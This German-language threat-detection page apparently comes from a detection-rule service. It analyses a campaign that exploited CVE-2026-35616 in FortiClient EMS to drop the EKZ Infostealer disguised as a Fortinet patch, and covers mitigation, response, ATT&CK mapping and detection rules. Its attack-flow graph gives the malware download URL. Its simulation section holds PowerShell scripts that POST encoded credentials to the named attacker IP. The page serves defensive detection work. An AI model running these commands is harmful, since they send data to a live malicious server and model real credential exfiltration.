FortiClient EMS über CVE-2026-35616 ausgenutzt, um EKZ Infostealer getarnt als Fortinet-Patch zu liefern
Detection stack
- AIDR
- Alert
- ETL
- Query
Zusammenfassung
Arctic Wolf hat eine Kampagne identifiziert, die ausgenutzt hat CVE-2026-35616 in FortiClient EMS, um ein bösartiges PowerShell-Skript auf verwaltete Endpunkte zu verteilen. Dieses Skript rief eine als legitimer Fortinet-Patch getarnte Nutzlast ab und startete sie zum Stehlen von Anmeldedaten, bekannt als EKZ Infostealer. Die Malware sammelte Passwörter, Cookies und Autovervollständigungsinformationen der Browser und exfiltrierte die gestohlenen Daten über HTTP. Indem die Angreifer die vertrauenswürdigen EMS-Konfigurationskanäle ausnutzten, konnten sie die Nutzlast schnell auf mehreren verwalteten Geräten ausführen.
Untersuchung
Forscher rekonstruierten den Exploit, indem sie speziell präparierte, nicht authentifizierte HTTP-Anfragen an die FortiClient EMS-APIs sendeten, was zu Konfigurationsänderungen führte, die bösartige Skripte einfügten. Ausführungsspuren zeigten fortitray.exe or ipsec.exe , die cmd.exestarteten, was wiederum einen Base64-codierten PowerShell-Befehl ausführte, der p.exe von einer bösartigen IP-Adresse herunterlud. Die Nutzlast schrieb eine log.txt Datei nach ProgramData, sendete die erfassten Daten zurück an denselben Server und löschte sich dann selbst.
Minderung
Organisationen sollten FortiClient EMS auf eine Version aktualisieren, die CVE-2026-35616 behebt und den API-Zugriff auf genehmigte Quell-IP-Adressen beschränken. Verteidiger sollten auch EMS-Protokolle auf zertifikatsbezogene Fehler und unerwartete Änderungen in Remote Access Profiles überprüfen. Ausgehender HTTP-Verkehr von Endpunkten zu unbekannten IP-Adressen sollte blockiert werden, und die Skriptausführung innerhalb von VPN-Profil-Workflows sollte durch minimale Rechtekontrollen eingeschränkt werden.
Reaktion
Wird diese Aktivität festgestellt, sollten betroffene Hosts sofort isoliert, unautorisierte EMS-Konten, die möglicherweise erstellt wurden, widerrufen und bösartige Skriptdateien aus dem FortiClient-Protokollverzeichnis entfernt werden. Ermittler sollten das log.txt Artefakt bewahren, Hashes für die bösartigen Binärdateien berechnen und nach übereinstimmenden Indikatoren in der Umgebung suchen. Ausgesetzte Browser-Anmeldedaten sollten zurückgesetzt und Teams sollten auf verdächtige Authentifizierungsaktivitäten achten, die dem Diebstahl folgen könnten.
"graph TB %% Klassendefinitionen classDef action fill:#99ccff classDef process fill:#ffcc99 classDef tool fill:#cccccc classDef malware fill:#ff9999 classDef file fill:#ccffcc classDef technique fill:#ddeeff %% Knoten action_initial_access["<b>Aktion</b> – <b>T1190 Ausnutzung einer öffentlich zugänglichen Anwendung</b><br/>CVEu20112026u201135616 in FortiClient EMS API"] class action_initial_access action process_api_requests["<b>Prozess</b> – Nicht authentifizierte API-Anfragen, die als privilegierte Administratoraktionen verarbeitet werden"] class process_api_requests process action_cmd_launch["<b>Aktion</b> – <b>T1059.003 Windows-Befehls-Shell</b><br/>fortitray.exe & ipsec.exe starten cmd.exe"] class action_cmd_launch action action_powershell["<b>Aktion</b> – <b>T1059.001 PowerShell</b><br/>Base64 codierte PowerShell Skriptausführung"] class action_powershell action technique_obfuscation["<b>Technik</b> – <b>T1027 Verschleierte Dateien oder Informationen</b><br/>Nutzlast als Base64 geliefert"] class technique_obfuscation technique technique_decode["<b>Technik</b> – <b>T1140 Entschleiern/Entschlüsseln von Dateien oder Informationen</b><br/>Laufzeit-Base64-Dekodierung"] class technique_decode technique action_download["<b>Aktion</b> – <b>T1570 Lateraler Instrumententransfer</b><br/>Download FortiEndpoint_Patch.exe (p.exe)"] class action_download action file_payload["<b>Datei</b> – FortiEndpoint_Patch.exe (p.exe)<br/>Gehostet unter http://83.138.53.110/dl/p.exe"] class file_payload file action_execute["<b>Aktion</b> – <b>T1203 Ausnutzung zur Clientausführung</b><br/>Stille Ausführung des heruntergeladenen Binaräu2026"] class action_execute action malware_infostealer["<b>Malware</b> – EKZ Infostealer<br/>Sammelt Anmeldedaten, Cookies, Autovervollständigungsdaten"] class malware_infostealer malware technique_cred_access["<b>Technik</b> – <b>T1555.003 Anmeldedaten aus Webbrowsern</b>"] class technique_cred_access technique file_log["<b>Datei</b> – C:ProgramDatalog.txt<br/>Speicherort der gesammelten Daten"] class file_log file action_exfil["<b>Aktion</b> – <b>T1567 Exfiltration über Webservice</b><br/>HTTP POST zum Angreiferserver"] class action_exfil action action_cleanup["<b>Aktion</b> – <b>T1564 Artefakte verbergen</b><br/>Bösartige Dateien und Protokolle löschen"] class action_cleanup action %% Verbindungen action_initial_access –>|führt zu| process_api_requests process_api_requests –>|löst aus| action_cmd_launch action_cmd_launch –>|führt aus| action_powershell action_powershell –>|verwendet| technique_obfuscation technique_obfuscation –>|erfordert| technique_decode action_powershell –>|lädt| action_download action_download –>|ruft ab| file_payload file_payload –>|ausgeführt durch| action_execute action_execute –>|führt aus| malware_infostealer malware_infostealer –>|führt aus| technique_cred_access malware_infostealer –>|schreibt| file_log file_log –>|gesendet durch| action_exfil action_exfil –>|gefolgt von| action_cleanup action_cleanup –>|löscht| file_payload action_cleanup –>|löscht| file_log "
Angriffsfluss
Erkennungen
Kurzer Dateiname (via cmdline)
Ansehen
Verdächtige CURL-Nutzung (via cmdline)
Ansehen
Verdächtige .NET-Methodenaufrufe von Powershell (via powershell)
Ansehen
Mögliche Bits Transfer-Aktivität (via powershell)
Ansehen
IOC’s (HashSha256) zur Erkennung: FortiClient EMS mittels CVE-2026-35616 ausgenutzt, um EKZ Infostealer als Fortinet Patch getarnt zu liefern
Ansehen
IOC’s (HashSha1) zur Erkennung: FortiClient EMS mittels CVE-2026-35616 ausgenutzt, um EKZ Infostealer als Fortinet Patch getarnt zu liefern
Ansehen
IOC’s (HashMd5) zur Erkennung: FortiClient EMS mittels CVE-2026-35616 ausgenutzt, um EKZ Infostealer als Fortinet Patch getarnt zu liefern
Ansehen
IOC’s (SourceIP) zur Erkennung: FortiClient EMS mittels CVE-2026-35616 ausgenutzt, um EKZ Infostealer als Fortinet Patch getarnt zu liefern
Ansehen
IOC’s (DestinationIP) zur Erkennung: FortiClient EMS mittels CVE-2026-35616 ausgenutzt, um EKZ Infostealer als Fortinet Patch getarnt zu liefern
Ansehen
EKZ Infostealer Anmeldedaten-Exfiltration via HTTP POST [Windows Netzwerkverbindung]
Ansehen
FortiClient EMS mittels CVE-2026-35616 ausgenutzt, um EKZ Infostealer zu liefern [Windows Prozess-Erstellung]
Ansehen
PowerShell-Ausführung über FortiClient zur Lieferung von EKZ Infostealer [Windows Powershell]
Ansehen
Simulation der Ausführung
Voraussetzung: Die Telemetrie- & Basislinien-Vorfluganalyse muss bestanden haben.
Begründung: Dieser Abschnitt beschreibt die genaue Ausführung der Angreifertechniken (TTP), die zur Auslösung der Erkennungsregel führen. Die Befehle und die Erzählung MÜSSEN die identifizierten TTPs direkt widerspiegeln und darauf abzielen, die von der Erkennung erwartete exakte Telemetrie zu generieren. Abstrakte oder nicht verwandte Beispiele führen zu Fehldiagnosen.
-
Angriffsnarrativ & Befehle:
Der Angreifer hat zuvor Anmeldedaten aus der Windows-Registry (Familie T1216) mit EKZ Infostealer gewonnen. Um den gesammelten Blob zu exfiltrieren, startet die Malware eine PowerShell-Einzeiler, die die Base64-codierten Anmeldedaten zu ihrem Command-and-Control-Server bei83.138.53.110postet. Die Verwendung von PowerShell (Invoke-WebRequest) ist eine klassische Technik des „Living off the Land“, die binäre-basierte Erkennungen umgeht, während sie dennoch Netzwerktelemetrie erzeugt, die von der Firewall beobachtet werden kann.powershell # Simulierte Anmeldedaten-Nutzlast (Base64 von "user:pass") $payload = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes("administrator:Password123!")) $uri = "http://83.138.53.110/collect" Invoke-WebRequest -Uri $uri -Method POST -Body $payload -ContentType "application/x-www-form-urlencoded" -
Regressionstest-Skript: Dieses eigenständige PowerShell-Skript reproduziert den Exfiltration-Schritt und kann für zukünftige Regressionen erneut ausgeführt werden.
powershell <# .SYNOPSIS EKZ Infostealer Anmeldedaten-Exfiltrationssimulation (HTTP POST). .DESCRIPTION Erzeugt einen gefälschten Anmeldedaten-Blob, kodiert diesen und postet ihn an die bekannte bösartige IP, die in der Erkennungsregel verwendet wird. .NOTES Erfordert zulässigen ausgehenden HTTP-Verkehr zu 83.138.53.110 auf Port 80. #> # ---- Vorbereitung ---- $creds = "admin_user:SuperSecret!" $b64 = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($creds)) $target = "http://83.138.53.110/collect" # ---- Ausführung ---- try { Write-Host "[*] Sende Anmeldedaten-Blob an $target ..." $resp = Invoke-WebRequest -Uri $target -Method POST -Body $b64 -ContentType "application/x-www-form-urlencoded" -UseBasicParsing Write-Host "[+] HTTP-Status:" $resp.StatusCode } catch { Write-Error "[-] POST fehlgeschlagen: $_" } # ---- Ende des Skripts ---- -
Bereinigungsbefehle: Es werden keine dauerhaften Artefakte auf der Festplatte erstellt, aber um gründlich zu sein, schließen wir alle verbleibenden Webanfrage-Sitzungen und löschen die PowerShell-Variable.
powershell # Variablen bereinigen und alle offenen Web-Sitzungen schließen Remove-Variable -Name creds,b64,target -ErrorAction SilentlyContinue if (Get-Command -Name Remove-WebRequestSession -ErrorAction SilentlyContinue) { Remove-WebRequestSession -All } Write-Host "[*] Bereinigung abgeschlossen."